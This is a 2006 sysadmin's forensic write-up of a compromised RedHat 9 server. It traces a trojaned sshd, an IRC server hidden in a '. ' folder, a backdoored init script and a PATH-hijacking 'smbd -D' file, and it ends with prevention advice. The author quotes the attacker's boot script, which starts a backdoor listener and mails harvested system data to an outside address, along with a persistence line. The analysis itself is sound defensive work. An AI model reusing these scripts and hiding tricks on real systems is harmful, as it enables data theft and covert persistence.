Compromise Analysis 12/7/2006
I was asked to look at a RedHat 9 system on which key-based (passwordless) SSH logins had suddenly stopped working. After some initial troubleshooting (regenerating the keys, checking sshd_config settings) I began to suspect the system had been compromised. It wasn't long before my suspicions were confirmed.
When I checked
/var/log/messages I saw some concerning entries. Through these I tracked down a "replacement" ssh server in /usr/local/sbin. At this point I began looking for the origin of the compromise, but also continued looking at what all was wrong with this system. Many times when we see a system that's been rooted, it starts with a local user (uid >=500) who has a shell and a weak password. I checked
/etc/passwd for local users with shells. While in there I noted that, rather than the default of /bin/bash, most shell users were assigned to /bin/sh (which was symlinked to /bin/bash anyway, but odd nonetheless). I went ahead and checked these users' home folders for signs of compromise. Nothing stood out. I noted that the system user created for postgresql (postgres) had a shell, and decided to check him later. During this time I also decided to see what was listening on the system (
lsof -i -n -P) and I found some very interesting things listening on ports where they should not be. One of these listeners was being called from a script named
startrk by way of
/etc/rc.d/rc.local which, of course, runs at boot time. The script looked like this (I intentionally obscured the email address):
#!/bin/sh bb=`pwd` cd /usr/bin "(swapd)" & ./infoz > informatzii cat informatzii|mail -s "Another looser for my master" firstname.lastname@example.org cd $bb
I also noted that postgresql was running, and I was pretty sure it should not be. I went to
/etc/rc.d/init.d/ to check the script that starts postgresql for modifications. In that folder I noticed a lock file for postgresql and httpd. I was pretty sure those files should live somewhere under
/var/lock and that this was a further sign of trouble. At this point I decided to go ahead and look in the home folder for the postgres user for signs of compromise. BINGO In /var/lib/pgsql there was a folder that's typically a tell-tale sign of dirty deeds: an extra 'dot' folder. The second one is actually named ". " but we won't see that in a directory listing. We can get to it by using
cd ". ". Many compromises use similar naming techniques to hide such folders. In a shell with auto-complete it can be easier to find these folders.
So what was in the "/var/lib/pgsql/. " folder?
[root@server root] cd "/var/lib/pgsql/. " [root@server . ]# ls -l total 0
Oh, nothing. Guess we'll move on to another folder. NOT.
[root@server . ]# ls -la total 12 drwxr-xr-x 3 postgres postgres 4096 Nov 25 09:18 . drwx------ 5 postgres postgres 4096 Nov 24 05:11 .. drwxr-xr-x 3 postgres postgres 4096 Dec 7 08:49 .bash
If that folder contains stuff related to the bash shell and its settings, then my name is Big Bird.
[root@server . ]# ll -a .bash/ total 820 drwxr-xr-x 3 postgres postgres 4096 Dec 7 08:49 . drwxr-xr-x 3 postgres postgres 4096 Nov 25 09:18 .. -rw-r--r-- 1 postgres postgres 88 Dec 6 17:10 1 -rw-r--r-- 1 postgres postgres 88 Oct 27 16:03 2 -rw-r--r-- 1 postgres postgres 528 Dec 6 17:10 alex.seen -rwxr-xr-x 1 postgres postgres 169692 Nov 25 09:25 pico -rwx------ 1 postgres postgres 612470 Nov 25 09:24 postgres drwxr-xr-x 2 postgres postgres 4096 Feb 23 2005 randfiles -rw-r--r-- 1 postgres postgres 1043 Dec 6 17:10 raw.levels -rw------- 1 postgres postgres 6 Nov 25 09:25 raw.pid -rw-r--r-- 1 postgres postgres 449 Dec 6 17:10 raw.session -rw-r--r-- 1 postgres postgres 1317 Nov 25 09:24 raw.set -rwxr-xr-x 1 postgres postgres 163 Nov 25 09:25 crap
These files provided an IRC server for some folks. With this information I think I was fairly safe to assume that the compromise came through the postgresql service. This server has been in service for over 3 years, and postgresql may have been turned on by default. At the least, they had taken advantage of postgresql to run their IRC server. But further analysis, not included here, also made me think that perhaps this system had been rooted in the past and postgresql was perhaps turned on at that time. Not sure.
Going back a bit, at some point during my analysis I noted that running
/sbin/service (i.e. '
service sshd restart') produced a suspicious error.
sh: line 1: (swapd): command not found
Nice. What would possibly cause that? Running the command by itself (i.e. '
/sbin/service') didn't generate an error. Perhaps several of the services scripts had been modified. So looking back in the folder where service-starting scripts are stored, I sorted by file mod times and noticed that the file
/etc/rc.d/init.d/functions had a very recent mod-time (within 2 weeks); it had this line appended to the bottom:
/usr/bin/crontabs -t1 -X53 -p
That can't be normal. So we add
/usr/bin/crontabs to our list of suspicious files.
-r-x------ 1 root root 11814 Oct 11 2002 crontabs
I ran the program manually and got the same error that
/sbin/service had been generating earlier. This little bugger was calling the
(swapd) whenever I ran the
service command. The error was happening because I had moved
(swapd) earlier in the analysis.
I hadn't forgotten about the samba service running on an odd port. But tracking it down was not as expedient at the time. Coming back later, I noticed a very odd thing. Observe:
[root@server root]# which smbd /usr/sbin/smbd [root@server root]# cd /usr/sbin/ [root@server sbin]# ll smbd
Nothing. No error, but no file listing. That's messed up. I tried something else:
[root@server root]# ll /usr/sbin/smbd -rwxr-xr-x 1 root root 1794708 Mar 13 2003 /usr/sbin/smbd
Very odd. I wondered if perhaps
locate would help us. Yes, it did:
[root@server root]# locate smbd /usr/bin/smbd -D /usr/sbin/smbd
Um, whoa. I'm pretty sure
'smbd -D' is not supposed to be a program name. But why would this affect anything? Simple, as I found out.
- The startup script
/etc/sysconfig/sambafor options to use when calling the program. We find
- The startup script then runs
daemon smbd $SMBDOPTIONSwhich will call smbd with the aforementioned options, then daemonize it (run it in the background).
- This creates the command
daemon smbd -D.
"/usr/sbin/smbd" & "/usr/bin/smbd -D"are in the system path. Apparently
"smbd -D"is a better or sooner match, and it got called first. Tricky and simple.
This makes a good case for calling daemons and programs with explicit paths.
Vector and approximate date of compromise
About 2 weeks prior to my arrival on-scene, this box had been rooted, apparently through the postgresql service. But there were signs here and there that it might have been compromised for much longer than that. The most recent compromise had broken sshd, which is really the only reason it got attention. Most script-kiddies today don't want to DoS every victim; many times they need an anonymous or free (or both) box to run their IRC servers.
What do we do with this box from here?
In any case, this box could no longer be trusted. Too many things had been broken and surgical, piece-by-piece repair was no guarantee to get this guy trustworthy again. The only answer was scorched-earth, which, as of this writing, is in the near future. That's not so bad an option, considering that the OS is no longer supported. Not only so, but it would be safe to change any password on this box - assume it's been sniffed and recorded somewhere. And if the root password is used for other boxen in this network, assume it will be used on other boxen in this network in the near future. Another good reason to disable passworded ssh logins and use public keys. And disable shell login for any user who does not absolutely need it.
What could have prevented this
No networked box is completely secure. But we can always take steps to lessen the possiblity of compromise. Several things could have prevented this.
- Firewalling, both at the router and on the host
Enable ssh connections only from a single authorized box in the network. Allow connections to services like PostgreSQL or MySQL only from the boxes in the local network that need it. In a nutshell, determine what has to be accessible from the Internet (perhaps tcp/80 & tcp/443), and block everything else from the Internet.
- Turn off unnecessary services
I don't know that PostgreSQL needed to be running; I have yet to verify that. But if not, then this compromise happened largely because of a completely unnecessary service was running and was not firewalled.
Occasionally check the box for oddities: programs/processes that should not be running, open ports that should be closed, unexpected traffic. Run an audit service like tripwire that can fire off alerts when something gets broken.
-rw-r--r-- 1 root root 6 Jul 21 2003 /etc/rc.d/init.d/httpd.lock -rw-r--r-- 1 root root 6 Jul 21 2003 /etc/rc.d/init.d/postgresql.lock
drwx------ 5 postgres postgres 4096 Nov 24 05:11 . drwxr-xr-x 3 postgres postgres 4096 Nov 25 09:18 . drwxr-xr-x 20 root root 4096 Jul 17 2003 .. -rw-r--r-- 1 postgres postgres 107 Feb 15 2003 .bash_profile drwx------ 2 postgres postgres 4096 Feb 15 2003 backups drwx------ 6 postgres postgres 4096 Dec 6 17:12 data -rw-r--r-- 1 root root 147 Jul 21 2003 initdb.i18n
lrwxrwxrwx 1 root root 5 Nov 28 13:35 sshd -> sshd2 -rwxr-xr-x 1 root root 2539235 Nov 28 13:35 sshd-check-conf lrwxrwxrwx 1 root root 5 Nov 19 02:19 sshd.old -> sshd2 -rwxr-xr-x 1 root root 3957363 Nov 28 13:35 sshd2
lrwxrwxrwx 1 root root 4 Jul 17 2003 [ -> test -rw-r--r-- 1 root root 29406 Nov 19 02:02 informatzii -rwx--x--x 1 root root 5465 Nov 19 02:02 infoz -rwxr-xr-x 1 someuser someuser 97093 Feb 15 2001 (swapd) -rwxr-xr-x 1 root root 22140 Feb 18 2003 test
Normally ssh log entries will look like this:
Dec 6 22:10:20 servername sshd(pam_unix): session opened for user bob by (uid=0)
But on our sick host, we saw something a little different. Notice what's conspicuously missing.
Dec 6 16:37:17 servername : Password authentication for user bob accepted.
This is logged when root tried a key-based login.
Dec 6 16:39:58 servername : Parsing authorization file /root/.ssh2/authorization resulted in error (user root tried to authenticate)
These were the ssh daemons. The lower PID was the master process; the higher PID was running my session.
PID TTY STAT TIME COMMAND 2376 ? S 0:00 \37777777724[\001@@~\015@\001 15952 ? R 0:00 \37777777724[\001@@~\015@\001
The daemon running these is at least partially responsible for the ssh syslog entries having no daemon name.
Portion of the results of
'lsof -i -n -P'
smbd 24 root 3u IPv4 40 TCP *:5434 (LISTEN) (swapd) 33 root 3u IPv4 40 TCP *:3153 (LISTEN)